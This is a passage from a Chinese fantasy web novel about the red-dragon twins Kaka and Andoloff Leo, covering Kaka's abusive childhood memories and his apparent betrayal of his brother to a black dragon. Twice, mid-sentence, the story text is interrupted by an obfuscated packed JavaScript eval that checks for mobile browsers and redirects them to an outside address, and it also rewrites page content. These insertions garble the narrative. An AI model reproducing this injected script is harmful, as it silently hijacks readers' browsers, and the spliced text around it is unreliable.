双生子的降生,意味着上天赐予红龙一族莫大的荣耀,意味着雷奥家族出现了一名日后注定大有作为的成员,这对孪生兄弟里被选中的那一个会成为最强大的红龙,甚至会拥有接近女王陛下的力量。 众人纷纷交头接耳。 你有什么想法? 老人向孩子的父亲发问。 男人迟疑了片刻,他的两个兄弟不住地朝他使眼色,而他的妻子则执起他的手,在他掌心悄悄地写了些什么。 男人突然眼睛一亮,站起身大声说: 这两个孩子里,有一个会给雷奥家族带来荣耀……他……他会成为大英雄,比……比“红龙教父”瓦拉斯塔兹,比女王陛下的丈夫克莱奥斯塔兹更强大! 四下一片哗然,孩子的父亲愈发激动,他冲着众人叫道: 难道你们没有想过吗?被选中的那个孩子能得到双倍的红龙精华,他能让雷奥家族彻底翻身!……斯塔兹家族再也不能在我们头顶上作威作福了,以后位于红龙一族四大家族之首的,该是我们雷奥家族!也许女王陛下会选中这个孩子做她未来的丈夫…… 那样我们就会继斯塔兹那群家伙之后成为第二个皇室家族了啊…… 众人如梦初醒,开始七嘴八舌地构建美好的未来,起初看着那对双生子还带着几分厌恶和畏惧的眼神,一下子变得热切起来。 左边那个比较活跃的孩子似乎受到惊吓,“哇”的一声哭了起来,众人又惊又喜,纷纷夸这孩子哭声响亮,体格强壮,不知不觉心里已经纷纷认定这想必便是“被选中的那一个”。 而右边那一个,却始终没什么动静,投向他的眼神中,怜悯和嫌弃的成分悄悄地多了起来。 “这是爱吗?”卡卡讽刺地看着那群兴奋的亲戚,“我可不这么想。” “但他至少保住了你。”绿龙低声说。 “你错了。”卡卡微微一笑,“你真的错了。” 既然这对双生子里有一个背负着“拯救雷奥家族”的重任,于是“杀死一个让另一个健康成长”的方案很快就被否决了——首先没人能确定究竟哪个才是“被选中的”,万一杀错了,那可就鸡飞蛋打一场空,更别提什么光宗耀祖了;其次“注定夭折”的那一个也不是完全没用,至少能替他的兄弟挡病挡灾。 那么,给这两个孩子起名吧。 老人说完这话后坐回原位,孩子的父亲将两个孩子从摇篮中抱起,左手上的婴儿哭得更厉害了,小脸皱成一团,右手上的那个依然静悄悄地,只是微微动了动手脚。 卡卡转身朝议事厅门口走去。 他父亲的声音从背后传来,恍若一团魔影,纠缠着他,欲将他吞噬。 我们原先已经想好了名字,现在我把这个名字赐给…… 男人看了看左手,又看了看右手,接着他举起哇哇大哭的男婴,向众人宣布: 诸位,这是我的儿子,卡卡洛夫·雷奥。 所有人都随之起立,热烈地鼓掌,微笑着送上祝福,还有人吹起口哨,人群中藏着无数嫉妒的眼睛,当然也都被孩子的父母看在眼里。 而这是他的哥哥,我的另一个儿子,安多洛夫·雷奥。 掌声立即变得稀稀拉拉,孩子的母亲绷着一脸僵硬的笑容向众人致谢。 卡卡脸色阴沉,加快脚步,急欲远离那个充斥着虚伪猜忌、人人心怀鬼胎的家族会议。 “你还好吗?”伊森德雷如影随形,笑容可掬地看着他。 “滚开。”卡卡的腮帮蠕动着。 “哎呀,真是冷淡呢。”绿龙笑眯眯地说,“其实连我也吓了一大跳,没想到当年的真相居然是这样。” “我叫你滚开!!” 卡卡眼中红光一闪,绿龙的影像瞬间成了无数碎片,化为星芒消散于无形。 卡卡推开议事厅的大门,拼命地在光滑如镜的长廊狂奔。 谁能来救救他? 两侧有很多房间,但每一扇门都紧锁着。 没有人能救他。 绝望与惶恐之中,他看到了一扇半开的门,里面正透出血红色的光。 他想也不想,用肩膀撞开门,一头扎了进去。 然后他看到了这个世界上最可怕的一幕。 房间里凌乱不堪,满地狼藉,犹如飓风过境。 一个身材高大的男人正在碾碎一切能破坏的东西。 他须发怒张,面目狰狞,简直像个魔鬼。 爸爸……爸爸…… 狂暴的男人身边不远处,有一个小小的身影,正惊恐地缩在墙角。 那个孩子被吓坏了,满脸泪痕,又不敢哭出声,只得用手护着头,畏惧地望着他情绪失控的父亲。 突然他惊叫一声,被一只大手从墙角拽起。 为什么?!为什么?!……为什么被选中的不是你?为什么你才是那个得不到半点红龙精华的废物?!说呀!说呀!卡卡!! 男人咬牙切齿,血红色的眼珠几乎快从眼眶里迸出来,带着浓烈酒臭的鼻息一下接着一下地喷在他年幼儿子的脸上,愤怒蒙蔽了他的眼,他变得疯狂。 我把一切都给了你!我把最好的都给了你!你这个不争气的东西!你……你居然不是那个被选中的,你这个该死的小骗子!你居然连我都骗!你让我丢尽了脸!! 男人掐着孩子的喉咙,他似乎早就忘记这是他自己的儿子。 爸爸……爸爸不要掐我……我好痛…… 小卡卡洛夫不知道为什么父亲会这么生气,他还天真地以为自己做错了什么,只要乖乖地道歉讨饶就没事了。 直到他看到父亲杀气腾腾的扭曲面孔,才知道事情比他想的要严重得多。 爸爸不再爱他了,爸爸恨他,爸爸不想要他,爸爸想杀死他。 心被狠狠撕出一个大口子,疼得卡卡艰于呼吸,泪水就这样夺眶而出,浓浓的悲伤蒙蔽了他的心,他以为自己早就不在乎了,可是他做不到。 “住手!住手!!”他咆哮着冲着自己的父亲挥拳,但这一切都只是虚像,他什么也做不到。 “你怕他,卡卡。”绿龙像幽灵般出现在他身后,“你怕自己的父亲。” “我不怕他!我已经长大了,我不再怕他!”卡卡流着泪怒吼着,“我不再是那个被关在地下室里只会哭的小孩,我……我——” “你怕他。”伊森德雷的声音在他耳边回荡,“你怕自己辜负了他的偏爱,你怕令他失望,你怕自己当不了一个能令他骄傲的儿子——所以你逃走了。” 你配不上卡卡洛夫这个名字!这个名字应该给你的哥哥!他才是有资格拥有一切的那一个,他才是雷奥家族的继承人!! 男人的鞋底和裤管上沾着奶油,原本打算用来庆祝的蛋糕被踩得稀烂,五根可怜兮兮的蜡烛东倒西歪,像凋零的小花。 他把几乎昏厥过去的儿子丢在地上,残酷地做出判决: 你要继续活下去,做你哥哥的替身,从今以后他受到的疾病伤痛都由你来承担!别怪我,卡卡,这是你应得的,我爱了你五百年,已经仁至义尽,现在该是你回报我的时候了! 从那一天起,一直被众星捧月的卡卡洛夫消失了,雷奥家族对外宣布这个孩子因病不治而夭折,下一任预备继承人由安多洛夫顶替。 卡卡洛夫被他的父亲丢进了不见天日的地下室,他被镣铐锁着,只有一个又聋又哑又瞎的老仆人每日为他送饭,他一下子从天堂坠入地狱,每天只有一块粗硬的干面包和一碗水,幼小的他根本无法理解发生了什么。 前几个世纪,他每天都在哭,都在呼救,期盼有人能听到他,发现他,打开地下室的门带走他,他连做梦都在想着那些和他一起玩耍的小伙伴,想着慈爱的父亲和温柔的母亲,想着那些关心他爱护他的亲戚。 当镣铐和肉长在一起,再也无法分开的时候,卡卡心里开始隐约有了一个念头:也许再也没人会来救他了,也许大家真的把他忘了,也许他再也出不去了。 也许他会就这样死在这里。 而他的孪生兄弟安多洛夫的遭遇,则恰好与他相反。 安多洛夫一下子成了备受瞩目的焦点,他立即住进了原本属于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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在崩溃的梦境中,那只手成了让卡卡脱离苦痛的方舟。 …… 卡卡醒了过来,映入他眼帘的是安多洛夫和艾米焦虑的脸。 “谢天谢地,你总算醒了!”艾米大大地松了口气。 “怎么了?”卡卡问。 “我们叫不醒你,我们以为……” “你是不是做梦了,卡卡?”安多洛夫心疼地替他擦汗,“你全身都被冷汗浸透了……你在床上拼命挣扎,红龙光环简直像是失控了一样,你看起来很……” “很痛苦?”卡卡笑了笑,“我已经习惯了,自从五百岁后我的每一个夜晚都是这么过来的,现在已经好很多了。” 安多洛夫不知该说什么才好。 “卡卡。”见气氛有些尴尬,艾米忙把手搭在安多洛夫的肩上,转移话题: “伊森德雷,那条绿龙,他来找你了吗?……卡卡,你有没有在梦中见到他?” 见卡卡的眼神有些呆滞,艾米忧心忡忡地扶着他的肩。 “他是黑龙特雷姆斯的同伙……” “卡卡,你……你还记得这位小姐是谁吗?”安多洛夫忽然开口,“你还记得我是谁吗?” 卡卡一脸茫然。 艾米倒抽一口冷气。 “天啊,这下完了……他果然中了那条绿龙的招!……安多,他该不会失忆了吧?那家伙有对他进行精神污染吗?……” 艾米抱着卡卡,吻着他的前额。 “哦,可怜的卡卡,还有比你更不幸的龙吗?为什么你要受这么多苦?” 她说着说着就忍不住红了眼圈,但安多洛夫却敏锐地抓住了卡卡眼中一闪而过的狡黠。 他叹了口气:“卡卡。” “哈哈哈哈哈!”卡卡突然爆出一阵大笑,吓了艾米一跳,这下她真的绝望了。 “安多,卡卡疯了,他一定是被精神污染了。” “看起来是的。” “没办法,我们只能在他彻底癫狂前把他杀掉了。”艾米一脸悲痛,“你是他哥哥,下不了手的话,我可以帮你,让他无痛苦地死去。” “就按你的意思来吧,艾米探员。” “喂!喂喂喂!……”卡卡见势不妙,忙举手大叫,“我真的只是开玩笑而已,你们别当真!……我很正常!呜!……” 艾米一把逮住他的衣领,恶狠狠地用枪抵着他的下巴。 “下次你要是再不分场合胡乱开玩笑,我保证你会死,卡卡。” “安多,安多!别发呆!快帮帮我……”卡卡忙向兄长求救。 “风太大我听不清。”安多洛夫无辜地眨了眨眼。 闹了一阵,艾米和安多洛夫又开始盘问卡卡到底在梦中见到了什么,卡卡赌咒发誓说自己根本没做梦,也没见过那个金发白衣美男子,说他只是因为身体不好,红龙之力过于虚弱才导致睡相难看,还说他一直就是这样。 为了证明自己的精神层面“完好无损”,卡卡把他和艾米第一次见面直到进屋休息前所有的事都描述了一遍,其间还数次提到A罩杯的事,气得艾米冲进厨房拎了把刀要砍他,安多洛夫赶紧把自己庞大的身躯横在两人之间,替卡卡做肉盾。 破旧狭小的公寓里,很久没有这么热闹过了。 “卡卡,你没事就好。” “别担心,我不会有事的。” 我从来没有像现在感觉这么好过,安多。 11. 第 11 章 夜幕降临,翡翠梦境的活跃程度剧增,与物质位面的连接最大化,黑夜支配着一切,而作为梦境守护者的绿龙则迎来了他们一天之中力量最强的时刻,所有熟睡生物的灵魂世界成了他们的领域。 为了避免受到伊森德雷的攻击,他们不能睡觉。 军人出身的安多洛夫经历很多艰苦的战斗,即便处于人类形态下,几天不合眼也能很轻松地撑过去;而艾米是条青铜龙,只要她愿意她可以永远不睡觉。 但卡卡很辛苦。 “卡卡,你已经喝了不下十杯黑咖啡了。”艾米说,“摄取过多咖啡因对身体不好。” “我不能睡着。”卡卡嘟哝着,“要是被那条绿龙缠上,我会变成疯子。” 他看了一眼客厅,安多洛夫正像座山似的坐在客厅地板上,一边吃薯片喝可乐一边看电视。 “安多!”卡卡大叫。 光头巨人忙回头:“什么事,卡卡?” “你在看什么?” “《爱与家庭》第三季第十六集的重播。”安多洛夫答道。 “现在是东部王国时间凌晨三点四十七分,离大地震发生只有不到十二小时,而造成灾难的罪魁祸首现在还在外头游荡,六十万人的性命悬于一线,而你却舒舒服服地坐在这里看这种冗长恶俗的狗血生活剧!”卡卡怒吼。 “这是古装奇幻剧……” “都没有什么区别!” “反正都是等……” “油炸薯片!碳酸饮料!这些垃圾食品你居然还吃得津津有味!安多你退役后已经堕落到这种程度了吗?那些对你的健美身材垂涎三尺的母龙们一定会大失所望的。” “可是我就算成天吃垃圾食品都不会长脂肪。”安多洛夫咔嚓咔嚓地嚼着薯片,“我就是这种体质……卡卡,你要去哪里?” “去找家还在营业的便利店买咖啡!”卡卡套上靴子,瞪了哥哥一眼,“有双倍红龙精华就是不一样,我看你不该参军,你应该去当模特或者脱衣舞男什么的。” “我会想办法把更多的红龙精华给你,卡卡。”安多洛夫认真地说,“全部给你都没问题,这是我欠你的。” “安多。”卡卡拉开门,“有一件事我想你最好弄明白。” “你不会跟我回去,我明白。”安多洛夫低声说。 “很好。” 卡卡说完砰地一声带上了门。 “现在还有营业的便利店吗?”艾米望着安多洛夫。 虽然已经入夏,但早晚温差很大,再加上傍晚时分的一场雨下到现在还没停,卡卡走在空无一人的街上,抱紧胳膊,后悔自己怎么没再披件外套。 雨淅淅沥沥地下着,他站在一座弃置的高架桥下,缩着身子轻轻地跺着脚。 一辆黝黑的加长型豪华轿车从雨幕中悄无声息地驶出,停在卡卡身边。 卡卡身后突然伸出一只手,替他拉开车门。 一个戴着墨镜穿着黑西装的男人略略欠身,对他做了个“请”的动作。 卡卡甚至不知道他是什么时候来到自己身后的。 轿车后座上坐着一个身着白色风衣,戴着白手套的金发男子,正是伊森德雷。 “没人跟踪我,但我快要被冻死了。”卡卡抱怨着。 车子重新发动,那个黑衣保镖却没有跟着上车。 “那家伙是谁?”卡卡随口问道。 “他只是我创造出来的幻像而已。”伊森德雷说。 “怪不得他身上一点人味都闻不出——那么,这辆车,还有这个司机,也都是幻像?”卡卡摸了摸车上的名贵真皮座垫,“难怪你不介意让我带着一身雨水上车。” “这场雨也不是真实存在的。” 卡卡没再说什么。 车内空间非常宽敞,座椅和空调都很舒适,几乎感受不出车身的颠簸,装着金色香槟酒的高脚杯和柔和优美的音乐营造着典雅奢靡的氛围。 没什么大不了的,其实这一切也许都是假的,都不过是绿龙的幻术。 “你好像还有些顾虑,卡卡。”伊森德雷突然开口。 “没什么。”卡卡面无表情地看着窗外飞逝而过的街灯。 “别担心。” 绿龙微笑着说: “你终会如愿以偿。” “是啊,我也这样想。” 轿车在一间码头货仓大门前停下。 脚刚一沾地,卡卡就感到有些不对劲。 当他走进货仓,跟随伊森德雷搭上电梯开始朝逐层下降时,这种感觉就越来越强烈。 他听到恶魔在咆哮,他听到了无数个心跳声。 在地下最底层,卡卡看到了令人震惊的一幕。 这里至少聚集了三四千人,人人目光呆滞,如同行尸走肉。 他们正围着一个巨大的十三层圆环状魔法阵,魔法阵的纹路和图案凹陷入坚硬的地面,就像是用什么东西刻出来的一样。 魔法阵的每一道凹痕里都灌注了鲜血,六个黑袍法师正站在魔法阵的边缘念念有词,他们脚下瘫倒着上百个人,卡卡能够感到他们当中大部分已经死了,只有个别人还有生命迹象——他们肌体萎缩,蜷缩着倒在地上,活像一具具被抽光了生命力的干尸,而周围的人完全视若无睹。 “我听说很久很久以前,暴风城里曾经有一个斯塔文家族,崇拜并秘密研习黑暗魔法。”伊森德雷笑道,“原本只是想碰碰运气,不料还真的被我找到这个家族的后裔,这可真是不容易,凡人是善忘的,那个剑与魔法的时代已经成为神话传说,几乎没什么能遗留下来。” “你找到了斯塔文家族的传人,要他们用暗黑魔法为他疗伤?”卡卡问。 “安多洛夫的红龙炸弹只有本人才能解除,可怜的特雷姆斯只好亲手挖掉了自己的心,但这样一来他人类形态只能保存二十四小时,所以我得替他找些医生。”伊森德雷说,“凡人的现代医学派不上用场,光明大教堂里还有几个浑浑噩噩的老头子会一点神圣魔法,不过他们已经老得不成样子,估计也没什么用,所以只好去找黑暗系的施法者了。” 卡卡凝视着那个魔法阵。 黑暗系的治愈魔法确实存在,但与神圣系的同类法术激发伤者潜能或驱散邪恶的方式不同,这些魔法是通过吸收外界的生命能量从而达到治愈效果的。 这些聚集于此的人类,大多穿着睡衣,还有的干脆光着身子——他们全都是在睡梦中被伊森德雷操纵并召唤至此,根本不知道自己正在干什么,更不知道他们即将成为黑暗魔法的牺牲品。 “特雷姆斯许诺了一些好处,并展示了自己的力量,看到他变成龙后用龙爪刻下了那个魔法阵,斯塔文家族的后人立即欢天喜地地答应了他的一切要求。”伊森德雷拍了拍了卡卡的肩,“不过这些人的力量实在太弱,要把这几千人的生命力完全吸收重新得到一颗心脏,起码要花上半天,他已经快要抓狂了。” 卡卡顺着绿龙手指的方向望去,只见魔法阵中央摆着一张椅子,一个戾气十足的黑发男人正在大发雷霆。 “你们这群饭桶!还要我等多久?!” “特雷姆斯,你这个爱迁怒于人的毛病总是改不掉啊。” 看到伊森德雷,特雷姆斯立即眼睛一亮。 “你是不是有好消息要告诉我?” “的确如此——” “快,快说!什么好消息?” 绿龙带着卡卡走进魔法阵中央,来到特雷姆斯身边。 “他能立即结束你的痛苦,让你获得一颗新的心脏。” “他是红龙?”特雷姆斯一脸狐疑地上下打量着卡卡,冷笑一声,“就这副皮包骨头的瘪三样?” “他的确是条如假包换的红龙。”伊森德雷介绍道,“而且系出名门,他叫卡卡洛夫。” 特雷姆斯一听这名字,当即脸色一沉。 “那个光头中将是你的什么人?” “他是我哥哥。”卡卡答道。 “哦,原来是这样。”特雷姆斯点了点头,突然眼中金光一闪。 巨力毫无征兆地袭来,卡卡被狠狠地甩出十米开外。 他出手毫不留情,如果不是因为没有心脏,刚才那一击就足以令卡卡分尸。 卡卡摇摇晃晃地站了起来,朝地上吐了口血沫。 “怪不得这小子一走进我就闻到一股和那光头佬一模一样的味道。”特雷姆斯擦着汹涌而出的鼻血,抚着胸口,怒视着他的同伴,“伊森德雷,你这是什么意思?” “你可不可以不要用这种目光看着我?我可是费了很大的功夫才找到他的。”绿龙若无其事地说,“我建议你最好不要为难他,毕竟这座城市里现在除了你的死敌安多洛夫中将,他就是唯一的红龙了。” “你怎么知道这小子不会出卖我们?”特雷姆斯恶狠狠地盯着卡卡,“他们是兄弟,那光头佬说不定已经知道这个地方了!” “你要是知道他过去的遭遇就不会这样想了。”伊森德雷笑眯眯地说,“他甚至比你还要憎恨他的哥哥和整个家族——对吧,卡卡?” 卡卡重新走到魔法阵中央。 “一颗新的心脏,换我哥哥安多洛夫的头颅,你怎么说?” 特雷姆斯突然觉得这条羸弱不堪的红龙目光灼热,竟有些咄咄逼人。 且看你小子要玩什么花招。 “成交。” 见那黑龙首肯,卡卡也不多话,发动了红龙光环。 急速扩张的红光囊括了整个魔法阵,被伊森德雷召唤来的数千人开始一个接着一个地倒了下去。 那几个斯塔文家族的后人正在为亲眼目睹这般奇景而欣喜若狂,却没想到他们也正站在魔法阵上,红龙光环无一遗漏地抽取了范围之内所有活物的生命力,这些能量被卡卡的红龙精华转化浓缩后注入黑龙特雷姆斯体内,就连一只飞虫一只老鼠都未能幸免,何况是他们这些活人? “主……主人……这是……这是为什么?”他们很快连站立和说话的气力都没有了,朝魔法阵中央那个被红光包裹的男人伸出手,无声地乞求着。 特雷姆斯甚至懒得看那些人一眼,因为此时此刻强大的生命能量正在他体内涌动,胸膛内不再空无一物,他再次感到了自己的心跳,他觉得自己犹获新生。 “真是了不起。”伊森德雷抚掌称赞,“卡卡,其它红龙倾尽全力才能做到的事,你只靠体内那点微薄的红龙精华就能做到……难道你才是雷奥家族中最有才华、最出类拔萃的那一个?如果不是命运在你和安多之间开了个玩笑——” “我已经履行了约定。”卡卡喘着粗气,抹了一把湿漉漉的鬓角,“别忘记你的承诺,特雷姆斯。” 黑龙哈哈大笑,伸出双手,掌心腾起的烈焰映亮了他的脸。 “别担心,小子,就算我们之间没有交易,安多洛夫也会是我首先要杀的人。” “是吗?” 听到这个声音,黑龙特雷姆斯全身燃起熊熊火光,摆开战斗姿态。 绿龙伊森德雷回头望去,微微一笑:“唷,又见面了。” 卡卡转过身,怔怔地望着来人。 他的哥哥,安多洛夫·雷奥正面无表情地盯着自己。 艾米把手搭在一个小女孩的颈部,发现她已没了脉搏。 她站起身,环视四周。 一地的尸体。 她眼前一黑几乎跌倒,安多洛夫扶住了她。 艾米感到他的手在剧烈地颤抖着。 “这位美丽的小姐,想必就是上次救走中将的神秘人士了?”伊森德雷优雅地递出一个飞吻,“青铜龙插手凡俗事务,这可真是让人吃惊啊。” “卡卡,这不是你干的,对不对?”艾米叫道,“告诉我这不是你干的!——你被那条绿龙精神污染了,他在控制你!……这不是你自己的意愿!” “这可真是很严重的指控呢。”伊森德雷无辜地耸了耸肩。 “这是我干的,艾米。”卡卡说,“这些人都是我杀的,我把他们的生命力抽出来给了特雷姆斯,现在他有了新的心脏,而这些人再也醒不过来了。” “你——” “另外,我没有被精神污染,我很清楚我在干什么。” 艾米从没这么绝望过,她不敢相信卡卡背叛了她,可直觉告诉她这一切都是真的。 “我从来就和你不在一条道上,艾米探员。”卡卡冷冷地说,“只是你一直在自作多情罢了,另外——” 他盯着安多洛夫积蓄着愤怒的鲜红眼瞳: “我也从来没有打算要原谅你,如果只需你的主动示好就能让我的灵魂得到平静,那么我的愤怒和憎恨也未免太廉价了,不是吗?” “为什么?”安多洛夫沉声问,“这是为什么,卡卡?” “因为我要复仇。”卡卡笑了。 安多洛夫见过这个笑容——邪恶而残暴,令人不寒而栗。 也许那并非幻象,而是预示。 他太低估了卡卡的怨恨。 “卡卡。”安多洛夫摇了摇头,“我对你……” 当他再次望向自己的兄弟时,眼里不再有任何感情。 “我对你非常失望。” 艾米背上一凉。 她最不想看到的事终于发生了。 “中将,这次你可逃不掉了。”特雷姆斯掰着指节,“我要把你的脑袋拧下来!” “放马过来吧,黑龙。”安多洛夫攥紧拳头。 两条剑拔弩张的成年雄性龙化为光束,将地下仓库的顶部撞出一个半径三十多米的大洞,在地面大打出手。 尘土和着雨水淅淅沥沥地降下,淋在那些尸体上。 伊森德雷展开无形力场,雨水被挡开,相比之下艾米则要狼狈得多,她看上去有些失魂落魄。 “怎么,依旧无法接受你们被卡卡背叛了的事实吗?”绿龙微笑着说,“事先声明一下,我可真的没有对他进行精神污染,只不过把他带进了他的记忆深处,让他看到了一些不那么令人愉悦的往事而已。” “这本身就是一种精神污染!”艾米厉声道,“你在煽动他,唆使他做出偏激的事,然后你就能在一旁幸灾乐祸地看戏吧?伊森德雷,你已经严重触犯了泰坦尼亚的法律,我保证你会受到最严厉的惩罚,你休想逃掉!” 绿龙耸了耸肩,丝毫不以为意。 “有一件事我很好奇——为了防止你们看出端倪,我没有让卡卡看起来像个刚从精神病院逃出来的患者,还用幻术制造了这场雨来冲刷掉他留下的气味,但你们还是准确无误地找到了这个地方,同时还非常及时地现身,请问这是这么一回事呢?” “我在他身上放了一个时空道标。”艾米说,“我可以直接感应到他的位置。” “原来如此,只需使用瞬间移动术就可以跟踪带着时空道标的任何目标,真是高明。”伊森德雷点头称赞,接着话锋一转,“不过到此为止了,青铜龙小姐,在海湾大桥上你已经坏过我们的事了,无论从什么角度出发,我都奉劝你最好就此罢手,否则我可不敢保证我那位脾气暴躁,同时丝毫不懂怜香惜玉的黑龙老板会对你做出什么事来,再者……” 绿龙看了她一眼。 “我还从来没有研究过青铜龙的精神领域,如果你想成为第一个,我会很感激的,因为我确信你的脑子里一定装着不少我感兴趣的东西。” 撇下警告后,伊森德雷的身影幻化为无数白色飞蛾,转瞬即逝。 现场只留下了艾米和卡卡两人。 卡卡抹了一把头发上的雨水,不动声色地盯着艾米。 “你们其实早就看出来了,对吧?” “……” “难怪安多会说‘反正都是在等’,原来你们一直在等我找借口离开公寓去见梦中人。”卡卡笑了笑,“你们从未信任过我。” “你杀了这么多无辜的人,还有让我们信任的理由吗?!”艾米冲着他吼,“我一直认为你是条好龙,哪怕你受了那么多苦,心里还是会多少为你的父亲和兄弟保留一点爱,哪怕再怎么玩世不恭,也依旧会对芸芸众生保留一份最起码的尊重——可是你……可是卡卡你这一次真的越过底线太多了!泰坦尼亚最高法庭不会在乎你有过什么不幸遭遇,只会清算你助纣为虐的罪行,雷奥家族要撇清关系不会也无法替你开脱,就连安多甚至红龙女王都保不了你……卡卡你……” 她愤怒地擦着脸上的泪。 “卡卡你会被判极刑,一旦泰坦尼亚发出格杀通缉令,你接下来的余生都会在逃亡中度过。” “听起来挺刺激的。”卡卡背后张开了幻化的龙翼,身体悬空而起,“别再管闲事了,艾米探员。” 艾米眼睁睁地看着他的身影一点一点地变小,直至视野里全是坠落的雨滴。 她努力平复着心绪,拿出手机,拨了报警专线。 “这里是暴风城南部郊区的杰罗德码头,编号10774的地下仓库——” 她突然感到自己的脚被什么东西碰了一下,低头一看却吓得到抽一口冷气。 一只手正搭在她的脚上。 “救……救……救救我……” 手的主人是个中年男子,他穿着汗衫短裤,赤裸的双足上满是泥污,一看便知是被绿龙侵入梦境后拉到这里来的普通市民。 可是,他不是应该和其他人一样,被卡卡的红龙光环转移了生命力变成死尸了吗? 艾米立刻想到了亡灵天灾,但很快她便发现这个人并非亡灵,而是活生生的——虽然虚弱不堪,但的确是活着的。 更多的声音陆续响起。 “这……这是什么地方?……” “我……我为什么会在这里?……” 也许是淋了雨的缘故,刚刚还倒在地上毫无生气的“尸体”竟一个个地重新动了起来,就连之前那几个已经被黑魔法阵抽干了的“僵尸”都出现了生命迹象。 艾米惊呆了。 手机里传来接线员的呼叫声: 喂?喂?小姐,您还在吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17363261|199775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到底发生了什么事?您还能说话吗? “我……我不是很确定,看起来像是某种集体梦游症突发——有几千人在睡梦中离开了自己的居所来到这里,我在现场看到了某种奇怪的图案,可能与邪教或者恶魔崇拜有关,请尽快派人来,另外还需要大量医护人员支援!” 她挂了电话,对周围越来越多的苏醒者大声说: “请不要害怕,你们现在都很安全,救护车马上就——” 话音未落,头顶“轰”的一声爆起巨响,震得沙土瓦砾直落。 那两条龙已经打起来了,方圆数十公里都属于危险领域,这个地方随时都有可能坍塌,就算警察和医生赶到也很难将这么多人救出,虽然她不知道这些人为什么会“死而复生”,但她决不能再拿这些人的性命冒险。 问题是,她从未试过用瞬间移动术“搬运”这么多人。 只能拼一把了。 艾米眼中闪起银光。 …… 虽然特雷姆斯获得了新的心脏,可以毫无顾忌地使用黑龙之力,然而这并不代表他会占上风。 毕竟他面对的是红龙中将。 黑龙吐息、超炎爆术、炽烈熔岩和火焰新星这些招式对安多洛夫几乎无效。 因为红龙对高温伤害有天生豁免,高阶红龙对火焰攻击几乎是完全免疫的。 而黑龙也是如此,这意味着红龙擅长的火息术和灼热光环对黑龙也无甚效果。 红龙与黑龙的战斗,只能靠肉搏和各自的特殊能力分胜负。 黑龙是大地守护者,因此他们可以控制重力,这正是特雷姆斯的“意念力”的真相,但对于安多洛夫来说这并不是什么难题。 特雷姆斯把一栋废弃的摩天大楼拦腰折断砸向安多洛夫,那光头巨人不闪不避,直接用身体将那人类的建筑物撞得粉碎,在红龙光环的影响下,安多洛夫就像一座攻防兼备的要塞,特雷姆斯几乎没什么办法能让他受伤,更何况安多洛夫非但体力用之不竭,还能自我治愈。 高下立判。 灌注着红龙之力的拳头迎面挥来,特雷姆斯无暇躲闪,只能仓促去接,但他大大低估了盛怒下的红龙中将的力量,当场被废了两只手臂。 “你根本不是我的对手,黑龙。”安多洛夫冷冷地盯着特雷姆斯,“与其做徒劳的顽抗,不如赶快想个理由让我放你一条生路。” 特雷姆斯的腮帮蠕动着,臂骨尽碎的痛楚令他无法言语。 安多洛夫掌心红光闪耀,特雷姆斯见状不妙,眼中金光一闪,千百根钢筋从残桓断壁中被抽出拉直,闪电般地射向那巨人。 要是再让安多洛夫在自己体内埋上红龙炸弹,他就彻底玩完了。 特雷姆斯当然没指望这些钢筋能把安多洛夫扎成蜂窝,在它们全部被红龙光环的高温化为铁水的同时,他已经念完了一个大型法术的咒语。 陨星。 霎那间杰罗德码头成了末日审判的现场,夜空中爆出烟花般的璀璨之光,火焰之雨降临,房屋、车辆、船只……一切都化为飞灰,短短数秒的时间,到处都是熊熊烈火,宛若炼狱。 安多洛夫并不怕火,但在密集的陨星连击下,他只能采取防御姿态,而特雷姆斯操纵重力,将他整个人硬拉向地面,无数电缆钻出地面,像有生命的巨蟒死死缠住了他的身躯,这些略带韧性的束缚显然比坚硬的钢铁枷锁更难挣断。 卡卡悬浮在空中,静静地凝视着脚下的火海,这个区域的地图恐怕都得重绘。 他来到特雷姆斯身边,把手放在那黑龙的手臂上,为他治好了伤。 剧烈的疼痛再次侵袭着他全身每一根神经,卡卡眉头紧蹙,默默地忍耐着。 “他死了吗?” “只怕没这么容易,不过也够他受的了。”黑龙活动着手指,狐疑地瞥了他一眼,“那家伙真是你哥哥?” “是的。” “看着他吃苦头,你漠不关心?无动于衷?” “我只关心你什么时候能兑现承诺。”卡卡说,“看起来取下安多洛夫·雷奥的首级,对你而言有些强人所难了?” 他的领子立即被粗暴地揪起。 “小子,你最好弄清楚自己是在跟谁说话!” “我治好你废掉的胳膊,不是让你冲着我横眉竖目的。”卡卡毫无惧色。 “呀,我们的新联合阵线看上来正面临信任危机呢。” 卡卡寻声望去,绿龙伊森德雷正笑眯眯地站在一边看着他们。 “红龙中将是条硬汉,整个泰坦尼亚也没几条龙有把握能杀死他的同时还能全身而退。”绿龙说,“所以我建议我们最好联手。” 火海中迸出一束光,安多洛夫跃至空中,他全身咝咝冒烟,整个人像块刚从锅炉中拿出来的锻铁。 他发现特雷姆斯的胳膊已经恢复如初。 他看到卡卡正站在那条黑龙身边。 “你为他疗伤?”安多洛夫低声问,“你宁愿自己疼得死去活来,也要替这条无恶不作的黑龙疗伤,好让他杀了我?” “被自己的亲兄弟背叛的滋味……”伊森德雷笑着反问,“很不错吧?” 安多洛夫不再言语,全身红光一盛,全力进攻。 他的面前突然出现了一个缓慢移动的绿色球体。 当他的拳头撞上这个直径大约两尺的球体时,只听到咕噜一声,那球体竟轻柔地裹住了他的拳头,化解了他那足以击沉一座小岛的恐怖巨力。 伊森德雷打了个响指。 绿色球体突然爆裂开来,同时安多洛夫感到自己的红龙光环在迅速消退。 “卡卡?……”安多洛夫一脸惊愕。 